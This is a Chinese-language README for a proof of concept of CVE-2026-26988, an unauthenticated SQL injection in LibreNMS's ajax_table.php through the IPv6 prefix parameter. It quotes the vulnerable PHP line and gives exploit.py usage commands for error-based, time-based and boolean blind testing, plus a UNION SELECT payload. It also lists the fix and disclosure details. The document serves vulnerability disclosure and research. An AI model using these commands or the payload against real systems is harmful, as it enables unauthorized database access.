CVE-2026-26988 – LibreNMS 未认证 SQL 注入 PoC

LibreNMS ajax_table.php 中通过 IPv6 地址搜索参数实现的未认证 SQL 注入。

受影响版本：LibreNMS ≤ 25.12.0
修复版本：LibreNMS ≥ 26.1（提交 15429580baba03ed1dd377bada1bde4b7a1175a1）
CVSS v4.0：9.3 严重
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N
CWE：CWE-89（SQL 命令中特殊元素中和不当 – SQL 注入）

漏洞概述

当 search_type=ipv6 时，address 参数会按 / 分割为地址和前缀两部分。
前缀部分被直接拼接进 SQL 查询，未经过任何转义：

$sql .= " AND ipv6_prefixlen = '$prefix'";

前缀部分中的单引号（'）可突破字符串字面量边界 → 实现任意 SQL 注入。

攻击流程图

flowchart TD
    A[攻击者] -->|1. 向 /ajax_table.php 发送 HTTP POST| B[LibreNMS Web 服务器]
    B -->|2. id=address-search & search_type=ipv6| C[解析 address 参数]
    C -->|3. 按 '/' 分割 → $address / $prefix| D[构造易受攻击的 SQL]
    D -->|4. 拼接: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
    E -->|5. 执行注入的查询| F[返回结果 / 错误 / 延迟]
    F -->|6. 攻击者观察响应 / 时间| A

    subgraph "注入点"
        D
    end

    style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff

概念验证（PoC）使用方法

环境要求

Python 3.x
requests 库（pip install requests）

基础测试（语法错误 / 500）

python3 exploit.py http://target/librenms --test

基于时间的盲注确认（推荐）

python3 exploit.py http://192.168.1.50/librenms --time

→ 如果响应时间超过 5–6 秒 → 存在漏洞

基于布尔的盲注测试

python3 exploit.py http://target/librenms --boolean

自定义 Payload 示例

python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "

本仓库文件

exploit.py .............. 主要 PoC 脚本（如需可重命名为 cve-2026-26988-poc.py）
README.md ............... 本文件

负责任披露

报告时间：2026 年 2 月（通过 GitHub Security Advisory）
修复版本：提交 15429580baba... → PR #18777
安全公告：https://github.com/librenms/librenms/security/advisories/GHSA-h3rv-q4rq-pqcv

法律与道德声明

本概念验证仅用于教育和授权安全测试目的。

未经所有者明确书面许可，禁止将本代码用于任何系统或网络。
未经授权使用可能违反法律，包括（但不限于）美国的《计算机欺诈和滥用法》（CFAA）或您所在国家的等效法规。

使用风险自负。

作者： Mohammed Idrees Banyamer
Instagram： @banyamer_security
日期： 2026 年 2 月 20 日

CVE-2026-26988-LibreNMS-SQLi

最受欢迎